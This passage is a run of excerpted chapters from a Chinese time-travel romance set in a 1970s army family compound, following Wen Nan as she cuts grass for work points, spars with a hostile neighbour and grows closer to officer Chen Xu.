赵小麦比她只小一岁,从两人身体情况和赵小麦之前在驴车上说的话,温南觉得原主的小姨对她是真的很好,穿的衣服没有补丁,吃饭上面更没有苛待过她,还供她上学,哪怕姨夫阴阳怪气的骂人,小姨依旧对原主特别好。 想到原主小姨家的情况和姨夫那个德行,温南都替原主的小姨不值。 两人走过石桥,赵小麦带着温南兜兜转转来到一片草地,草地上已经来了好几个人了,都在割猪笼草,小麦从笼子里拿出镰刀割猪笼草,不远处还有两个女人也背着框子过来了,温南认出其中一个长头发的女人就是那天晚上她躲在大树后面看见的两个女人其中之一。 “小麦,你娘又让你自己挣嫁妆来了?” 长头发的女人阴阳怪气的说话。 同行的另一个女人捣了捣她胳膊,想让她少说点,但长头发的女人没搭理,还在调侃赵小麦:“你说你要是男孩子多好,带个把就跟你弟一样在家里当祖宗了。” 赵小麦紧咬住下唇,弯腰刷刷的割猪笼草,愣是没有反驳一个字。 这人是赵家隔壁康连长的媳妇林美珍,是杏花村的人,三年前嫁给康连长,这三年也没生个孩子,肚子不争气在家里的日子也不好过,她婆婆在家里天天给她找事,话里话外说她是个不下蛋的母鸡,林美珍一肚子怨气没处撒,就盯上了隔壁赵家的受气包赵小麦,每次她在家受了婆婆的气,见到赵小麦就把气撒到她身上。 赵小麦爹不疼娘不爱,没人管她,更没人给她撑腰,在家属区也受了不少委屈。 尤其是这次割猪笼草的活计被赵小麦分了一点,林美珍就少挣一天工分,所以心里对赵小麦记恨着。 林美珍也看见了赵小麦旁边的温南,第一眼就觉得这个女人长的好看是好看,但看着就像是个狐狸精,家属区一上午都传遍了,陈营长家里来了个表妹,说是候婶子她妹妹的孙女,暂时住在这边。 候婶子她妹妹心里打的什么主意大家都心知肚明,不就是想让自己孙女嫁个当兵的吗。 她不屑的扫了眼温南:“你就是陈营长的表妹?” 温南垂着眼看赵小麦熟练的割草,没搭理她。 林美珍脸色有些难看,冷哼一声:“有什么可傲的,不就是陈营长的表妹吗,不就是长的漂亮点吗,还不是照样投奔亲戚在人家家里白吃白住。” 温南:…… 要说她骂人吧,她还夸人漂亮。 一旁的赵小麦弯着腰割猪笼草,低声对温南说:“你别理她,她顶多骂几句过过嘴瘾就好了。”她已经习惯了。 看赵小麦一副任人辱骂毫不还嘴的可怜样就知道她这些年在家 6.第 6 章 《穿七零嫁给对象他哥》全本免费阅读 温南走过去坐在陈奶奶旁边,手肘搁在膝盖上,手心撑着下巴看陈奶奶手里信。 信封是老式的邮纸,右上角贴着一张小邮票,要是在新世纪,这张邮票就值钱了。 她说:“是二哥写的信吗?” 陈奶奶笑道:“对,是你二哥。”说完脸上的笑淡了一些:“这臭小子不听话,非要主动调去东华市,那地方哪能跟南阳市比,你说兄弟两人待在一起不好吗,有个啥事也有个伴,干啥非要分开呢。” 她拆开信封取出里面的各种票子和一封信纸,有油票,粮票,布票棉花票,还有两张工业票,两张大团结,陈奶奶打开折叠的信纸,上面写了几句话,她上下左右看了看,然后看向温南:“南南,你认识字吗?姨奶不识字。” 温南点头:“嗯,我小姨供我上过学,我认识一些字。” “那你给姨奶念一遍。” 温南接过陈奶奶手里的信,大致扫了一眼,照着信封念道:“奶奶,我在东华市一切都好,家里有什么事让我哥跟我发电报,我一定在第一时间赶回来,奶奶,照顾好自己。” 落笔:陈州。 这封信读完后,陈奶奶很久都没有说话。 温南看了眼陈奶奶泛着泪花的双眼,没有打扰她,起身去厨房准备晚饭,她晚上做的面条,陈奶奶把票和钱收起来到厨房给温南帮忙。 暮色将至,小院里也暗下来了,袅袅烟雾盘旋在家属区的屋顶上,院门外也传来许多人的脚步声和说话声。 隔壁的杜团长和其他人都回来了,陈营长还没回来。 温南和陈奶奶吃过饭也没等到他,见陈奶奶往门口走了好几次,温南起身说:“姨奶,我去部队门口看看大哥怎么还没回来。” 陈奶奶想说不用,温南又续道:“从家里到部队就几步路,我跑快点就过去了。” 说完也不等陈奶奶说话就顶着月色跑出去了,这个点家属区的人吃完饭都休息了,路上静悄悄的,只有寥寥几个人,温南气喘吁吁的跑到三岔路口,眼角的余光瞧见石桥上有两个女人并肩往杏家村走,一个齐肩短发,一个挽着头发,看背影好像是林美珍和那天晚上的另一个女人。 寂静的黑夜里,只听那个短发女人说:“要不是看在娘求我的份上,我才不愿意干这种事!!” 原来短头发女人是林美珍的妹妹,听她的口气,好像特别愤怒。 温南顺着这条路跑到部队门口,看见部队的大门,上面镶刻着一枚红色的五角星,外面的门卫亭有警卫兵持枪站岗,温南走过去低声问道:“您好,请问陈营长出来了吗?” 警卫兵正视前方,声音板正:“还没出来。” “谢谢。” 温南往旁边站了点,望着部队里面,中间一条望不到尽头的路,路两边种着参天大树,部队大门口亮着两盏很亮的灯泡,她静静的待在这边等陈叙出来。 不知道等了多久,大门里面终于传来了沉稳的脚步声。 速度很快,听着像是一路跑出来的。 温南抬头看去,就见穿着军装的陈叙跑出部队,昏暗的灯光下,男人额头上布了一层细密的汗珠,汗珠沿着锋锐的下颔滚过凸起的喉结滑入脖领,微微抬起的手臂肌肉匀称鼓起,看着紧实有力,她朝陈叙招招手,脸上扬起一抹笑:“大哥。” 那道脆生生的甜音响彻在黑夜里。 陈叙脚步一顿,朝声音的方向看过去,温南站在一棵树底下,穿着藏青色短款外套,笑起来眉眼弯弯,瞳仁明亮好看,脸颊两边的酒窝像是涂了蜂蜜一样,醉人的甜。 她小跑到陈叙身边,疑惑询问:“今天怎么回来这么晚?” 陈叙有些不习惯的往旁边挪了两步与她拉开距离,算下来他跟温南也就认识一天半,对于这个突然多出来的妹妹在他耳边一声声大哥叫着,还是不太适应。 他轻咳一声,与她一同走在路上:“今天团里有点事,所以回来的有点晚。” 其实他刚才单独留下来是为了见赵营长营部里那位姓陈的,刚才他旁敲侧击的问过那人认不认识西平市胡阳县部队的温国,那人不认识。 这条路上静悄悄的,除了他们两人之外,一个鬼影都没有。 温南望着前方幽幽的土路,抿了抿唇,然后抬头看向与她能隔一人距离的陈叙,男人个头拔高,站在他旁边,她也只到他胸膛那里,想到小麦还比她矮一个头,也不知道这些年在家里怎么生活的? 或许跟她在新世纪的生活一样吧。 同样生活在重男轻女的家庭里,时时刻刻承受着家庭带给她的压抑和痛苦。 陈叙察觉到温南的目光,扭头看向她,眉峰几不可察的挑了下:“怎么了?是不是有什么事要跟我说?” 温南没想到他能一眼看出她的心思。 也不打算藏着掖着,大大方方的说:“我让小麦帮我找了个活干,明天早上就上工。” 陈叙微怔,问道:“找的什么活?” 温南笑了下:“给牛割草的活。” 陈叙:…… 他看了眼温南的细胳膊细腿,又扫了眼女人露在外面的纤细脖颈和脸蛋,从外表就能看出她在她小姨家并没有下地干过活,当时给溪水村公社打电话也询问过温南的情况,她没下地挣过工分,给牛割草的活要在扎人的草堆里割草,还要顶着中午的大太阳,她估计是干不成。 陈叙沉默了一会才说:“你先不用着急找活干,你要是想工作,等我休假那几天帮你把户口迁过来,再给你留意下有没有轻松点的工作。” 温南仰着小脸看陈叙,眼睛里带着笑:“没事,这个活我也能干。” 这个年代不管做什么工作,优先选择的都是当地户口,她的户口还在运闽市,介绍信的日期是三个月,只要在这三个月内把户口迁过来就行,至于轻松点的工作她也不想麻烦陈营长,她已经欠了陈营长一个大人情了,做人还是得知道点分寸。 走过三岔路口的时候,温南手臂蓦然一紧,紧跟着身子被一股强大的力量扯到一边,半边身子重重撞在一堵坚硬的胸膛,男人的胸膛硬的跟石头一样,温南觉得她骨头都有点疼,还没搞清楚当下是什么情况,就听耳边传来陈叙低沉冷肃的声音:“往我这边走,那边有蛇。” 现在天气回暖,蛇都出来了,尤其是河边半人高的草丛附近最容易有蛇游行。 温南原本还是懵的,一听见有蛇,吓的身上鸡皮疙瘩都冒出来了,就瞬间感觉柔软冰冷的蛇体就在腿跟前盘着,后背直冒凉气,偏偏抓着她胳膊的手松开了,温南像是受刺激炸毛的猫,噌的一下跳到陈叙的另一边,双手使劲抓着他的胳膊,小脸吓的煞白,说话都哆嗦了:“蛇蛇蛇在哪??” 她眼睛四处瞄,终于看到在她刚才即将要走的地方有一条婴儿手臂那么粗 7.第 7 章 《穿七零嫁给对象他哥》全本免费阅读 之前家里只有他和陈州还有奶奶,他和陈州都习惯了回家洗完头顺便脱掉短袖浇盆井水冲个凉,温南昨天刚来家里,他一时间把她给忽略了。 陈叙轻咳一声:“不好意思,我下次注意。” 他朝温南抱歉的点了下头,端起水盆泼在菜地旁。 温南也反应过来,眼底闪过一抹尴尬,她刚才看陈营长也看出神了,对方没察觉到她那明晃晃的目光她都觉得万幸。 面条出锅后,温南给陈叙捞了满满一大碗面,浇上她特意调好的配菜,闻着香味扑鼻。 陈叙看了眼锅里的面汤:“你不吃了吗?” 温南摇头:“我吃饱了。” 等陈叙出去后,温南把锅里的面汤倒出来,给自己烧了点洗澡水,又从井里打了点井水上来掺了点热水,然后端着满满一盆水慢吞吞的往屋里走,水倒的有点满,走快两步水都会往外面撒一点,陈叙转头看了眼温南脚后面撒了一连串的水珠,犹豫了片刻,还是忍住了帮她的端到屋里的心思。 在外人眼里他们是表兄妹,没什么顾忌的,但他和温南都明白双方的立场。 男未婚女未嫁,他一个大老爷们给女同志端洗澡水进屋,怎么说都逾越了。 屋里面,温南擦洗了下身子把水到了就睡了,她这一觉依旧睡的特别香,直到第二天早上听见不大响亮的号角声才醒来,部队离家属区有一点距离,这边听的号角声没多响亮。 天刚大亮,温南没有表,不知道现在是几点,但估摸着时间差不多应该是六点多。 她出去的时候陈奶奶在扫院子,看见温南时,陈奶奶笑道:“咋不多睡会?” 温南跑到井边打水洗脸:“我今天和小麦说好要去上工割草,吃完饭就走。” 陈奶奶愣了一下,把土巴扫到簸箕里:“家里不差你这口吃的,你不用顶着大太阳干那么累的活。” 她小姨在家里那么难都没让她外甥女下地干活,到了她这边来,就算不是她亲外甥孙女,也不能苛待了人家姑娘。 “没事的,反正我也闲不住。” 温南起身拽下绷绳上的毛巾擦了擦脸蛋,被清水润过的眼睛明亮璀璨,瞳仁里带着笑意:“多干干活也能强身健体。” 见她坚持,陈奶奶再没说什么,她知道温南是不好意思在家里白吃白住,想着干活挣点工分给家里挣一份补贴。 这孩子自尊心挺强的。 温南看了眼陈叙的屋门开着,院里也不见人,疑惑问道:“姨奶,大哥呢?” 陈奶奶说:“团里有点事,天不亮就走了。” 早饭是陈奶奶做的,她不让温南进厨房,温南就去菜地里把杂草拔了拔,陈奶奶从窗户里看着勤快的温南,觉得跟他们老陈家一个姓的男人真是走了好运了,将来能娶上这么个好姑娘。 温南刚吃完早饭赵小麦就背着篓框过来了,她从厨房也取了个大篓框,拿着墙上挂着的镰刀,又把门后面的棍子拿着和赵小麦一块走了,这是温南从小到大第一次割草,在新世纪的时候,小时候虽然过的不好,但爷爷奶奶一直在市里住着,她倒是没干过农活。 赵小麦看着她手里的棍子,好奇的问道:“温南,你拿着棍子干什么?” 温南甩了甩棍子:“打蛇用的。” 昨晚草丛边上的蛇到现在想起来还心有余悸。 赵小麦笑道:“都不用棍子,你用镰刀在草里扫一扫,蛇听见动静都跑远了。” 话是这么说,但温南还是觉得拿棍子多一份保障。 赵小麦先带温南去畜牧主任那报道,刘主任从养牛场出来,看见温南时愣了一下,将她上上下下打量了一眼,长着皱纹的眉头用力一皱,这女同志瞧着细皮嫩肉的,哪里像个干活的? 一起来的有林美珍和昨天的一个同伴。 林美珍看见温南就没好脸色,昨天她那一番话堵的她到现在心口都闷得慌! 刘主任安排赵小麦和那个同志去割猪笼草,温南跟林美珍去给牛割草,刚安排完,陆陆续续又有八九个人背着篓框过来报道。 温南背着篓框拿着棍子跟赵小麦走一道,走到岔路口的时候才分开。 赵小麦给她指了下:“给牛割草去那片地里,咱两离的也不远。”她小心翼翼的看了眼林美珍,小声说:“温南,你昨天那么说她,她心里肯定记恨你,你小心点她。” 温南笑道:“知道了。” 她让赵小麦顾好自己,然后背着篓框去不远处的草地里。 地里的草又高又密,温南害怕草里面有蛇,先用棍子打一打,再弯腰用镰刀割草,她没割过草,手有点生,好几次都差点割到自己的脚腕,林美珍在她旁边,割草的速度很快,一会的功夫篓框了就装了小半框。 再看温南的,刚铺了个底子。 温南:…… 这会太阳升起来了,有点晒人,温南擦了擦额头的一点汗珠,继续手法生疏的割草,有的草比较锋利,她的手心划破了一点伤痕,烧呼呼的特别疼。 温南突然有点后悔昨晚在陈叙那夸下的海口。 这活她压根不会干,弯腰时间长了腰酸背疼,忒难受了。 林美珍看了眼干活笨手笨脚又慢吞吞的温南,冷笑道:“女人长的漂亮有啥用?中看不中用,娶回家也是浪费粮食,靠你给牛割草,能把牛饿死,也不知道哪来的脸接这份临时工。” 温南头也没抬,割了一小把草扔到框子里,毫不客气的怼回去:“咸吃萝卜淡操心,关你屁事。” 林美珍气的一噎,又听她说了一句:“谢谢你夸我漂亮。” 林美珍:…… 日头越来越高,也越来越晒。 林美珍已经割了一筐子草了,她把草倒在一堆,继续割下一筐子,等割了两筐子了,温南才将将好一筐子,还是没压瓷实的一筐子,手心划了几道浅浅的血痕,握着镰刀的手又僵又疼,手心都磨红了,隐隐可见两个小水泡。 她在新世纪的身体还不至于这么娇嫩,虽然没干过地里活,但家里大大小小的活都干,长大后在也是一边上学一边打工给自己挣生活费,双手哪有这么娇嫩,这具身体也就是原主小姨照顾的好,才没吃什么苦。 快到中午的点,赵小麦拿着镰刀跑过来帮温南割草,刷刷刷的就是一大把草,速度特别快。 温南怔了一下:“你怎么过来了?不割猪笼草了吗?” 赵小麦头上都是汗,脸蛋晒的红扑扑的,呲着一口白牙笑 8.第 8 章 《穿七零嫁给对象他哥》全本免费阅读 温南松开陈叙的手腕,小心翼翼的把上面的那层草揭开,取出下面铺着的苍耳子。 苍耳子特别扎手,摸一下都刺疼。 陈叙掀目光看向将苍耳子放到一旁的温南,大概猜到她这么做的目的,没想到她还挺有心眼的,他抱起一大摞草压在框子上,温南拍了拍手上的土巴,起身扭头看了眼,男人手劲很大,往下摁了摁,原本就瓷实的青草一下子陷下去一截。 温南惊讶的眨了眨眼。 这得多大的劲啊? 陈叙装了满满一大筐,挎在肩上对温南说:“你先回去吃饭,我送完草就回去。” “我跟你一块去。” 温南还没那么厚脸皮,活是赵小麦帮忙干的,草是陈叙帮忙送的,到头来受益的是她,想想都觉得臊的慌。 陈叙见她非要跟着,再没多说什么。 现在的天气早晚温差比较大,中午很热,温南一手当扇子在脸蛋上扇了扇风,看着走在前面的男人背着又沉又重的大框子步履生风,她快跑几步跟上他,在路上碰见了背着篓框往回返的赵小麦。 赵小麦看见陈营长背着篓框,震惊的眨了眨眼,在她的印象里,还是第一次见陈营长干活。 温南看见赵小麦,停下脚步问:“你还有几框猪笼草?” 赵小麦说:“还有一筐。”她扭头看了眼陈营长的背影,羡慕的对温南说:“陈营长对你这个妹妹真好。” 不像她。 在家里爹不疼娘不爱,弟弟也觉得她是个赔钱货,姥姥家的人也不喜欢她。 温南知道赵小麦想起她自己的遭遇,也不好多说什么,跟小麦聊了两句就快跑着追上陈叙,两人在路上碰见了返回来的林美珍,她原本还想着刺温南几句,结果瞧见她旁边的陈营长,憋着没敢说话,她也怕当着陈营长的面把温南惹了,陈营长万一给她家老康穿小鞋咋办? 要是老康职位有个啥变动,第一个遭殃的肯定是她。 林美珍心里有气,脸上还是笑呵呵的朝陈叙打了个招呼:“陈营长。” 她没想到陈营长还真挺照顾他这个表妹的,还亲自过来帮她送草。 陈叙只是冷淡的点了下头就走了,温南小跑着跟在他身后,扭头朝满脸火气瞪着她的林美珍挑衅的笑了下,眉眼弯弯,酒窝醉人。 手里捏着小辫子再轻轻一甩,扭过头就小跑着追上陈叙。 林美珍气的咬牙! 这个小狐狸精,要不是陈营长的表妹,她真想抽她一巴掌! 从割草的地方到牛场不算远,温南到那的时候可算见到了这个年代的牛场,并不像新世纪那样盖着一排排整齐的房子,而是用一根根木头做成的墙壁围着一个很大的空地,房顶用稻草压盖的,牛场里养了有十几头牛,其中还有两头奶牛,除了她和林美珍割的草以外,里面还有个两个穿着黑色褂子,撸起裤腿穿着布鞋的中年男人在拌牛吃的草屑。 昨天回家属区的路上,赵小麦跟她说了杏花村的畜牧场。 红星公社有七个分队,其中一个最大的分队也是杏花村,在部队没迁过来之前,杏花村并没有这么大,后来部队迁过来,离部队最近的杏花村也开始扩建了好多房子,隔着一条河还是家属区,不论是人口还是经济都比以前多,所以县里有个什么好事,第一个先想到的就是杏花村。 而杏花村每年的粮食产量和牲口产量也是丰林县里最多的一个村子,他们把这些交给公社,再由公社交到县上做个统计,然后市领导下达文件到县级,最后再补给给部队,反正绕来绕去,杏花村产的粮食和养的牲口到头来还是又绕回来了。 牛场外面搭着一个草棚,草棚下面放着一张老旧的长形桌子和一张条凳。 记工分的是个中年男人,看见一男一女走过来,男的穿着军装,背着背篓,女的长的细皮嫩肉的,身上的衣服干净好看,连一个补丁也没有,和刘主任描述的一模一样,刘主任还特意交代他,要是这个女同志中午背回来的草不多,下午就别让她来了。 男的他认识,是部队一团的陈营长。 杏花村好几家老娘们都想把自个丫头嫁给陈家两兄弟,嘿,人家两兄弟谁都不要,就喜欢单过着,昨天杏花村里也传开了,说陈营长的表妹过来了,不用猜,他旁边那个娇滴滴的小姑娘就是了。 陈叙把背篓放在地上,中年男人起身走过去提着背篓想颠一下,提了一下没提动,还差点把腰闪了。 他脸一臊,双手抓着背篓使劲提了一下。 好家伙,死沉死沉的。 看陈营长拎着咋就跟没啥重量似的? 中年男人笑道:“陈营长,替你妹妹送草啊?” 陈叙点头:“嗯。”又问道:“草倒哪?” 中年男人指了下不远处的大槽子:“倒那里面就行。” 原本这工作是他来倒的,但这一筐子草太他娘的沉了,陈叙从他手里接过倒到大槽子里,和温南又去了割草的地方。 远远的,温南瞧见林美珍不停地甩着两只手,甩一会又吹了吹手指,疼的龇牙咧嘴的。 不用想,一定是林美珍碰了她的草。 活该被扎。 陈叙也看到了,想到先前那双柔软的手抓着他的手腕,他到现在都觉得手腕骨那块也像是被苍耳子扎了几下。 两人走到草堆前,在陈叙放下背篓的时候,温南先一步弯下腰掀开上面那层青草,把埋在里面的苍耳子拿出来。 在一旁疼的龇牙咧嘴的林美珍:…… 这女人鬼心眼子咋那么多?! 她刚刚想着趁温南和陈营长不在,多拿点她的草,让刘主任知道温南干活不行,换掉她,没想到她竟然给草里面铺了一层苍耳子,害的她下手抓的时候十个手指被扎的钻心的 9.第 9 章 《穿七零嫁给对象他哥》全本免费阅读 温南伸手接过篓框,赶紧摇头:“不用,我自己能行。” 她哪好意思再麻烦他,这活本来是她要干的,怎么到头来都让别人帮忙了。 温南背上框子,正准备和小麦去草地里,就听陈叙说:“我晚上过去找你。” “陈营长。” “咦,这就是陈营长的表妹吧?” 有两个人的声音从不远处传来,温南转头看去,两人都穿着军装,生面孔,她不认识。 陈叙给她介绍:“左边是杜团长,右边那个是康连长。” 哦。 原来一个是大喇叭的丈夫,一个是黑心贼手的丈夫。 温南面上甜甜一笑,露出两个小酒窝:“杜团长,康连长。” 小姑娘笑起来特好看,放眼望一望家属区,还真找不到哪家姑娘能跟陈营长表妹一样俊的,经过张小娥的一波宣扬,大家都知道陈营长表妹来部队表面是探亲,其实是想找个当兵的对象嫁了,不过她长得好看,两个表哥一个是营长,一个是连长,随便一找都能找个合适的人。 说实在的,估摸着都不用找,就一天的时间他们团都传开了,说陈营长的表妹来了,长的又白又漂亮,好多个没结婚的小伙子都想来家属区瞧瞧呢。 杜团长见她背着篓框,问道:“这是和小麦割草去?” 温南点头:“嗯,割完了给牛场送过去。” 杜团长还挺意外的,毕竟陈营长的表妹看着细白嫩肉的,哪像个干活的,一旁的康连长也不由的多看了几眼温南,中午他媳妇一回来就在家里叨叨,说陈营长的表妹又笨又蠢,割个草都不会,都是赵小麦帮她割草,陈营长帮她送草,她那哪是干活,分明是玩去了,说完还不停的揉揉手指头,最后被她娘骂了一顿才闭嘴。 康连长也是第一次见温南,的确和他媳妇说的一样,皮肤白,长的也漂亮,打眼一看就不是干活的料。 不过那也是陈营长家的事,人家再咋样也轮到他们这些外人说道。 没一会赵营长和几个人也过来了,他们一道往部队的方向走,温南和赵小麦去割草,到地方的时候,温南见林美珍已经割了半框子草了,她也看见了温南,起身时手伸在身后捶了捶酸疼的后腰,愤恨的瞪了一眼温南。 想到中午吃饭的时候又被婆婆骂了几句,林美珍就一肚子火。 都怪她肚子不争气,要是能给老康家生个大胖小子,她婆婆对她肯定不是现在这样,鼻子不是鼻子眼不是眼的,动不动就骂她几句。 温南没搭理她,放下框子开始割草。 有了上午的经验,下午割草要顺手一些,只是手上的泡磨的有点疼。 黄昏日暮时,赵小麦又跑过来了,走到温南身边割草,速度特别快,刷刷刷的就把她甩了一大截。 温南:…… 她还觉着自己已经上手了呢,跟小麦一比,差的不是丁点半点。 一会的功夫,温南的草垛子摞了两大摞,已经超了林美珍,林美珍气的脸色铁青,骂赵小麦:“你真是个贱骨头!” 赵小麦没说话,也已经习惯了林美珍的辱骂。 温南走到赵小麦旁边,抬头看向林美珍,冷笑:“那你是什么?黑心贼手?” 林美珍气的一噎,还没回嘴呢,又被温南的话堵回去:“偷鸡不成蚀把米。” 不提这茬还好,一提林美珍就觉得手指头疼,说又说不过温南,骂又骂不过,要是把她惹急了,这小狐狸精再给陈营长告个状,到最后倒霉的还是她,最后气的扭过头使劲割草,那股子狠劲就像在割温南的脑袋。 温南继续说:“小麦不是在帮我,是在给她自己挣工分,不管我每天有多少工分,都会分给小麦一半,你要是眼红就直说,再让我听见你骂人,我就去妇女主任那举报你欺负女同志!还要去团里向领导举报康连长的媳妇辱骂女性同胞!” 温南长这么大,吃了不少苦,看了不少脸色,也学会了不少弯弯绕绕的心思,最清楚打蛇要打七寸,对付别人就要戳到对方的软肋。 林美珍在意连长媳妇的身份,肚子不争气又生不出孩子,本来在家里就过得不如意,要是再因为她闹出点事连累到康连长,她婆婆肯定让她吃不了兜着走。 果然,林美珍唰的一下挺直腰板死死瞪着温南。 这事在家属区屁事都不算,谁家不吵不闹?大家都习惯了,也都睁只眼闭只眼,但要是闹到妇女主任和团部领导那,那就是另外一回事了,领导们做做样子也会找她家老康问问话,她在家里的日子本来就不好过,要是温南真举报了她,她日子就更难过了。 温南对赵小麦说:“她说的话你不用放心上。” 赵小麦感激的看向温南,割了一把草放在地上,小声说:“温南,谢谢你。” 温南抿唇笑:“没事。” 暮色将至。 地下的潮气浮上来,驱散了白日里的热气,赵小麦割完草回去送猪笼草去了,温南把镰刀放在地上,抱了一大堆草放到篓框里,正准备背上框子送草,就听见不远处传来沉稳的脚步声,然后一抬头的功夫,身后的框子就被男人拎走了。 陈叙又给框子里塞了一大摞草,对温南说:“你在这等我,我等会就来。” 男人是一路跑过来的,额头都是汗,军装领子和后背又濡湿了一大片,他塞满草拎着框子就走了,速度很快,温南要想追上他,得跑着过去,她看了眼走远的身影,拿着镰刀继续割草,在陈叙回来之前,能割多少是多少。 陈叙脚程很快,一会的功夫就回来了。 他把剩下的青草装到篓框里,对温南说:“你先回去,我送完草就回家属区。” 温南小跑着跟在陈叙身后,看着男人高大颀长的身姿,笑弯了眼睛:“大哥,谢谢你。” 陈叙抬肩膀擦了下眼皮上的汗珠,回头看了眼温南,扯唇笑了下:“你好歹也叫我一声哥,不用跟我客气。” 走到岔路口时,陈叙往牛场的方向走,温南往石桥那边去,天麻麻黑,家属区的小院都亮起了暖黄的灯泡,她回到家,看见厨房里下面条的陈奶奶,甜甜的叫了一声:“姨奶, 10.第 10 章 《穿七零嫁给对象他哥》全本免费阅读 她眼睫湿漉漉的,眼底发红,猛地一看像是被人欺负了一样。 陈叙闻着鼻尖的皂角香,避开视线弯腰帮温南倒掉水。 男人身高腿长,就算弯腰也比她低不了多少,温南低头看了眼男人劲瘦绷紧的后腰,也不知道将来哪位女同志会嫁给陈营长,长得帅还体贴,等她多攒点钱,在陈营长结婚的时候,一定送他一份大礼,感谢他收留她的恩情。 陈叙帮温南倒了半盆水端过去:“水温刚好,不凉。” 温南笑道:“嗯。” 她坐在板凳上把头发揉揉洗洗,洗干净后用毛巾把头发包起来,又给自己倒了多半盆水端到屋里,今天干了一天活,浑身都是汗,头发上也是土,感觉身上又黏又不舒服,温南前后倒了两盆水才洗完澡。 她看了眼手里的小搪瓷盆,又看了眼蹲在井边洗军装的陈叙,想了想,打算等割草的活干完找陈营长借工业劵买个大点的木桶,这样洗澡方便点。 这年头不管买什么东西不光得有钱,还要有票,没票也是寸步难行。 温南把盆放在井边,进屋前对陈叙说:“大哥,我先睡了。” 陈叙没抬头,搓着衣服:“嗯。” 听见屋门关上的声音,男人抬了下头,看了眼熄灭的屋子,重重的吐了口气。 家里多了个女同志,还真有些不习惯。 屋子里。 温南躺在被窝里翻了翻身,想着今天割草,不是小麦帮忙就是陈营长帮忙,她一天下来干的活不多,还落一手的伤,听着外面的泼水声和沉稳的脚步声,温南打了个哈欠,决定明天天不亮就起来去割草。 既然干的比别人慢,那就早点去干。 温南心里惦记着这事,睡了一觉后也不赖床,拉开窗帘看了眼天色,要是没猜错,估摸着是凌晨四点多,她起来从箱子里拿了件干净衣服换上,把昨天换下的脏衣服拿到院里洗干净挂在绷绳上,收拾完这些又去厨房把稀饭提前煮好温在锅里,拿了个热好的玉米饼背上篓框,刚走出厨房就碰见从屋里出来的陈叙。 男人看了眼绷绳上晾着的白底印花衬衫,视线又落在背着篓框,站在厨房门口的温南身上:“你去割草?” 温南咬了一口玉米饼点头:“嗯,去的早割的多。” 笨鸟先飞吗。 陈叙:“你等我下。” 男人回屋拿了件干净的军装穿上,又拿了牙缸牙刷来到井边洗漱,温南咽下嘴里的饼子,小声问:“大哥,你干什么去?” “我送你过去。” 陈叙刷完牙,续道:“我也睡好了。” 温南笑道:“不用,我认识路,一会就走到了,稀饭我煮好了在锅里,你先凑合吃点,我先走了。” 说完提了提肩上的带子开门出去,只是还没走几步就听见身后传来的脚步声,温南还没来得及回头,眼角的余光就闯入了一抹军绿色的身影,陈叙走在她旁边,与她之间有一人之隔的距离。 天还黑着,四周静悄悄的,只有忽远忽近的蟋蟀声。 温南抬头看了眼旁边的陈叙,知道他打定主意不会改变,也没再说什么,于是低着头看了看手上的玉米饼,犹豫了一下,掰下一半递过去:“大哥,你也吃点?” 陈叙垂下眼,伸在眼前的小手摊开,手心放着半张玉米饼,还不够他塞牙缝的。 “不用,我等会回来吃。” “哦。” 温南缩回手,一路走着吃着。 走到家属院的主巷子时,听见漆黑夜色里传来整齐的脚步声,于是抬头看去,便见远远的一条大路上有一排整齐的队伍,那些人穿着军绿色的衣服,手里拿着钢枪,即使天色昏暗,温南也从他们身上看到了不可侵犯的威严。 这是她在现实中第一次接触手持钢枪的战士。 不自觉间,走路都有些同手同脚了,边上的陈叙看出她的紧张,为她解释:“这是保卫部的人,每晚定点巡逻。” 温南想到第一次见陈叙时,男人冷着脸要送她去保卫科。 她抿了抿唇,咽下嘴里的玉米饼,点了下脑袋:“哦。” 两人走过石桥,经过杏花村时看见从房子拐角那边走来两个人,拉拉扯扯,推推搡搡。 还是一男一女。 天还有些黑,看不太清楚,温南微眯着眼聚拢视线,等两人推搡的又往前走了一截路后,温南才看清楚,女的是康连长的媳妇林美珍,男的穿着露胳膊的褂子,穿着束脚黑长裤,趿拉着布鞋,左边嘴角下有道小疤,那人拽着林美珍的胳膊往回扯。 温南:??? wc! 天降大瓜! 连长媳妇在外面偷人了?! 她下意识看向陈叙,男人个头拔高,从她的角度只能看清男人冷硬的下颔线条,他颊腮骨动了动,忽的低下头看了她一眼,两人的目光冷不丁对上,陈叙眉峰紧皱,往前迈了两步,利用高大的身躯遮住温南的视线,看向还在拉扯推搡的两个人,沉声道:“林嫂子,你在这干什么?!” 看着眼前军绿色的高大背影,温南:…… 挡住她看好戏了。 林美珍和那个男人被陈叙的声音吓了一跳。 两人刷的一下分开,林美珍脸色又青又白,警告的瞪了一眼对面的男人,扭头看向陈叙,不自然的把头发别到耳后:“我昨晚在我娘家睡的觉,想着早点回去给老康做饭,这不我妹夫不放心我一个人走夜路,非要把我送到家属区,陈营长,你可不要误会。” 那个男人也没再拉拽林美珍,朝陈营长打了声招呼,说道:“我就是送送我姐,现在陈营长在这,我就不管了,美霞还在家等我呢,我先回去了。” 说完扭头就跑了。 林美珍拽了拽被那人拽皱的衣袖,走向陈叙,笑道:“陈营长,我就先回——” 话戛然而止! 林美珍看着从陈营长身后走出来的温南,脸色变了变,心也猛地跳了几下,看她背着篓框拿着玉米饼,猜到是陈营长送她去草地割草,觉得这小狐狸精就是有病,干活又慢又蠢,不多睡会觉,天不亮的就往草地跑,真以为刘主任能知道就属她勤快吗? 她刚才和李红平也没干啥过分的事,就是拉拉扯扯了几下而已,不怕这兄妹两告诉老康。 “我先回去了。” 林美珍越过他们走上石桥去了家属区。 姐姐和妹夫…… 温南心里‘啧’了一声。 不管是不是真的,反正看那两人不正经的拉拉扯扯,应该清白不到哪去,也不知道林美珍她妹妹知道吗? 一路上陈叙都没说话,男人走路倒不 11.第 11 章 《穿七零嫁给对象他哥》全本免费阅读 她看了眼四周,见没人,凑到温南跟前说:“上个月民兵在红星公社巡视,走过梨花村的时候,在路边半人高的草丛里发现一个浑身光/溜溜的女人,他们把女人送到卫生所,等她醒来问她出了啥事。” 说到这,赵小麦脸色白了好几度。 温南也猜到出了什么事。 赵小麦说:“那女人醒来后,说她被人糟蹋了,当时天特别黑,她又被吓到了,只看见两个大眼珠子死死盯着她。” 温南皱眉:“那人抓住了吗?” 赵小麦摇头:“女同志报案了,公安同志下来调查了,主要是女同志没认出坏人的脸,反正到现在也没抓住人,梨花村的年轻女同志们现在天黑都不敢往出走,就害怕自己也遇到那个坏人。”她抿了下唇,犹豫了好一会又说了一句:“我听我娘说,那个女同志跳河自尽了。” 温南握着镰刀的手紧了紧。 